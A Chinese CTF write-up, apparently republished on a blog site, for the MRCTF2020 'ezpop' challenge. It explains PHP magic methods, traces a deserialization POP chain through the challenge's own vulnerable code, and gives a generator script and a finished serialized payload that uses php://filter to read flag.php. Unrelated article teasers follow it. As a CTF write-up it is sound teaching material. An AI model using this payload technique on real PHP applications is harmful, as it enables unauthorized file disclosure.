[MRCTF2020]ezpop wp

本题考点:php反序列化的pop链

首先来了解一下pop链是什么,它类似于多米诺骨牌一环套一环,要调用这个成员方法然后去找能调用这个方法的魔术方法,最后一环接一环,完成一个链子,最终形成payload。

那么来了解一下这些魔术方法

__construct()            //类的构造函数,创建对象时触发(new 对象())
__destruct()             //类的析构函数,对象被销毁时触发(调用完后就会触发)(反序列化调用对象时也会触发)
__call()                 //在对象上下文中调用不可访问的方法时触发
__callStatic()           //在静态上下文中调用不可访问的方法时触发
__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set()                  //在给不可访问属性赋值时触发
__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发
__unset()                //在不可访问的属性上使用unset()时触发
__invoke()               //当尝试以调用函数的方式调用一个对象时触发(当对象以class名()输出时会触发)
__sleep()                //执行serialize()时,先会调用这个方法
__wakeup()               //执行unserialize()时,先会调用这个方法
__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用(用echo输出对象的时候会触发)(php中echo 只能输出字符串,而print_r()可以输出对象,数组等)

好那么看题

​
Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}}if(isset($_GET['pop'])){@unserialize($_GET['pop']);}else{$a=new Show;highlight_file(__FILE__);}​

首先看有危害的地方,如:eval,assert,system,include等危险函数,本题有危害的地方是

 public function append($value){

        include($value);

    }

这里定义了一个参数可以包含文件,而本题开头也有提示,flag在flag.php里面。

那么接下来找哪里调用了这个方法

    public function __invoke(){

        $this->append($this->var);

    }

可以看到invoke()这个魔术方法调用了append方法,那么如何触发(当对象被当作函数触发时)也就是类名加上(),

找下一环怎么才能让对象被当作函数触发

class Test{

    public $p;

    public function __construct(){

        $this->= array();

    }

    public function __get($key){

        $function $this->p;

        return $function();

    }

}

这里最后如果把p传入一个append的对象Modifier,那么最后会返回Modifier(), __construct()(这个方法创建对象或者实例化对象就触发不用理它),那么着重看__get(),这个要调用一个不存在的成员变量来触发,那么下一步就是去找如何才能调用不存在的成员变量

 public function __toString(){

        return $this->str->source;

    }

这里的意思是如果触发__toString(),那么返回str里的source属性,先不用管它为什么同为属性,str就能调用source,这里把它当成了一个对象,那么如果给str赋一个没有source的对象,这不就有不存在的成员变量了嘛,那么可以给str赋值为Test来触发__get方法。这个__toString()的触发方式是把对象当成字符串:

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用(用echo输出对象的时候会触发)(php中echo 只能输出字符串,而print_r()可以输出对象,数组等)

来找一个有echo且能赋值的地方

    public function __construct($file='index.php'){

        $this->source $file;

        echo 'Welcome to '.$this->source."<br>";

    }

这里就能赋值的同时用echo输出,那么给source赋值一个对象就行了,其他两个类都用了,这次就只能用它本身的类Show了,这里是__construct()方法就不用想办法让它触发了,那么一个pop链就完成了,这里我用的是倒推法

__construct-> __toString()->__get()->__invoke()-> append($value)(触发文件包含)

那么就把这些序列化吧,

<?phpclass Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;}class Test{public $p;public function __get($key){$function = $this->p;return $function();}}$a = new Modifier();$b = new Show();$c = new Test();$b->str=$c;$b->source=$b;$c->p=$a;echo serialize($b);?>

这里用php://filter的原因是,只用flag.php是读取不到的。

对了,protected方法有特殊字符占位所以要在变量前输入%00*%00,简单点的方法就是在echo后面加一个urlencode()

最后输出$b也就是show对象的原因是它底下的两个变量都成了另外两个类了,直接输它省事。

Payload:O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}

最后得出flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/78906.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

spark架构和RDD相关概念

运行架构&#xff1a; Spark采用master - slave结构&#xff0c;Driver作为master负责作业任务调度&#xff0c;Executor作为slave负责实际执行任务。 核心组件 Driver&#xff1a;执行Spark任务的main方法&#xff0c;将用户程序转化为作业&#xff0c;在Executor间调度任务&…

安全是基石

“安全是基石”这句话强调了安全在个人、企业、社会等各个层面中的基础性和不可替代的重要性。无论是物理安全、网络安全、数据安全&#xff0c;还是生产安全、公共安全&#xff0c;都是保障稳定发展的前提。以下是不同领域中“安全”作为基石的体现&#xff1a; 1. 个人安全 基…

Linux Makefile-概述、语句格式、编写规则、多文件编程、Makefile变量分类:自定义变量、预定义变量

目录 1.make 1.1 make 命令格式 2.Makefile 核心概念‌ ‌ 2.1创建并运行 Makefile步骤 3. Makefile编写 3.1最基础Makefile 3.1.1使用默认make命令 3.1.2使用make -f 命令 3.1.2.1 使用make -f 命令执行默认make操作 3.1.2.2使用 make [ ‐f file ] [ targets ]命令 …

城市应急安防系统EasyCVR视频融合平台:如何实现多源视频资源高效汇聚与应急指挥协同

一、方案背景 1&#xff09;项目背景 在当今数字化时代&#xff0c;随着信息技术的飞速发展&#xff0c;视频监控和应急指挥系统在公共安全、城市应急等领域的重要性日益凸显。尤其是在关键场所&#xff0c;高效的视频资源整合与传输能力对于应对突发公共事件、实现快速精准的…

双Token实现用户登录身份认证-Java版

双Token实现用户登录身份认证-Java版 1. 设计方案 方案概述: Access Token: 短期有效的JWT,包含用户ID、设备ID、token版本号。Refresh Token: 长期有效的令牌,存储于Redis,关联用户信息、设备ID及token版本号,用于刷新Access Token。设备绑定: Token与设备ID绑定,防止跨…

Proteus vs Multisim:电路设计与仿真软件对比

Proteus和Multisim作为两款主流的电路设计与仿真软件&#xff0c;在功能定位和应用场景上既有重叠也有显著差异。以下从多个维度综合阐述两者的异同点&#xff1a; 一、相同点 基础功能 ✅ 电路原理图设计&#xff1a;支持电路设计和仿真分析。 ⚙️ 虚拟仪器&#xff1a;提供…

ssh 三级跳

ssh 三级跳 在网络安全和数据传输领域&#xff0c;SSH&#xff08;Secure Shell&#xff09;是一种常用的协议&#xff0c;用于加密两台计算机之间的通信。在某些情况下&#xff0c;你可能需要通过一个中间服务器来间接连接到目标服务器&#xff0c;这通常被称为“三级跳”或“…

Java 性能优化:从原理到实践的全面指南

性能优化是 Java 开发中不可或缺的一环&#xff0c;尤其在高并发、大数据和分布式系统场景下&#xff0c;优化直接影响系统响应速度、资源利用率和用户体验。Java 作为一门成熟的语言&#xff0c;提供了丰富的工具和机制支持性能调优&#xff0c;但优化需要深入理解 JVM、并发模…

【土堆 PyTorch 教程总结】PyTorch入门

目录 一、python学习中两大法宝函数 1、dir() 2、help() 二、PyTorch读取数据集 1、Dataset类 &#xff08;1&#xff09;作用和基本原理 &#xff08;2&#xff09;常见用法 &#xff08;3&#xff09;自定义 Dataset 示例 2、Dataloader类 &#xff08;1&#xff0…

5.DJI-PSDK:Psdk开发负载与Msdk的应用app进行交互:

DJI-PSDK:Psdk开发负载与Msdk的应用app进行交互: 负载设备和无人机使用数据传输模块,在控制命令传输通道上以透传的方式在PSDK和MSDK间传输控制指令。在高速数据传输通道上以透传的方式在PSDK和MSDK间传输数据信息以及用户自定义的数据。使用数据传输功能,不仅可以设置不同…

2025 蓝桥杯省赛c++B组个人题解

声明 本题解为退役蒻苟所写&#xff0c;不保证正确性&#xff0c;仅供参考。 花了大概2个半小时写完&#xff0c;感觉比去年省赛简单&#xff0c;难度大概等价于 codeforces dv4.5 吧 菜鸡不熟悉树上背包&#xff0c;调了一个多小时 题目旁边的是 cf 预测分 所有代码均以通…

Dubbo(53)如何在Spring Boot中集成Dubbo?

在Spring Boot中集成Dubbo可以通过Spring Boot Starter来简化配置&#xff0c;以下是详细的步骤和相关代码示例。 1. 引入依赖 首先&#xff0c;在Spring Boot项目的 pom.xml 中添加Dubbo相关的依赖&#xff1a; <dependencies><!-- Spring Boot Starter --><…

开发一个环保回收小程序需要哪些功能?环保回收小程序

废品分类展示与识别 详细分类列表&#xff1a;清晰展示常见废品类型&#xff0c;如废纸&#xff08;报纸、书本纸、包装纸等&#xff09;、塑料&#xff08;塑料瓶、塑料容器、塑料薄膜等&#xff09;、金属&#xff08;易拉罐、铁制品、铜制品等&#xff09;、玻璃&#xff0…

抗干扰CAN总线通信技术在分布式电力系统中的应用

摘要&#xff1a;随着分布式电力系统的广泛应用&#xff0c;其通信系统的可靠性与稳定性受到了前所未有的挑战。CAN总线通信技术以其卓越的抗干扰性能和可靠性&#xff0c;在众多通信技术中脱颖而出&#xff0c;成为解决分布式电力系统通信问题的关键。本文深入剖析了CAN总线通…

MySQL与Oracle深度对比

MySQL与Oracle深度对比&#xff1a;数据类型与SQL差异 一、数据类型差异 1. 数值类型对比 数据类型MySQLOracle整数TINYINT, SMALLINT, MEDIUMINT, INT, BIGINTNUMBER(精度) 或直接INT(内部仍为NUMBER)小数DECIMAL(p,s), FLOAT, DOUBLENUMBER(p,s), FLOAT, BINARY_FLOAT, BI…

探索 Rust 语言:高效、安全与并发的完美融合

在当今的编程语言领域&#xff0c;Rust 正以其独特的魅力吸引着越来越多开发者的目光。它诞生于 Mozilla 实验室&#xff0c;旨在解决系统编程中长久以来存在的难题&#xff0c;如今已成为构建可靠、高效软件的有力工具。 1 内存安全 Rust 通过所有权&#xff08;ownership&a…

springboot框架集成websocket依赖实现物联网设备、前端网页实时通信!

需求&#xff1a; 最近在对接一个物联网里设备&#xff0c;他的通信方式是 websocket 。所以我需要在 springboot框架中集成websocket 依赖&#xff0c;从而实现与设备实时通信&#xff01; 框架&#xff1a;springboot2.7 java版本&#xff1a;java8 好了&#xff0c;还是直接…

第八天 开始Unity Shader的学习之Blinn-Phong光照模型

Unity Shader的学习笔记 第八天 开始Unity Shader的学习之Blinn-Phong光照模型 文章目录 Unity Shader的学习笔记前言一、Blinn-Phong光照模型①计算高光反射部分效果展示 二、召唤神龙:使用Unity内置的函数总结 前言 今天我们编写另一种高光反射的实现方法 – Blinn光照模型…

React八案例上

代码下载 技术栈&#xff1a; React 核心库&#xff1a;react、react-dom、react-router-dom脚手架&#xff1a;create-react-app数据请求&#xff1a;axiosUI组件库&#xff1a; antd-mobile其他组件库&#xff1a; react-virtualized、formikyup、react-spring 等百度地图A…

线代[13]|线性代数题37道以及数学分析题3道(多图预警)

博主首次发布于CSDN&#xff0c;禁止转载&#xff01;&#xff08;CSDN&#xff1a;汉密士2025&#xff09; 文章目录 一、缘起&#xff5c;《俗说矩阵》课程目录照片存档&#xff5c;线性代数学习脉络&#xff5c;线代习题集封面存档&#xff5c;未来——我与线性代数的纠缠 二…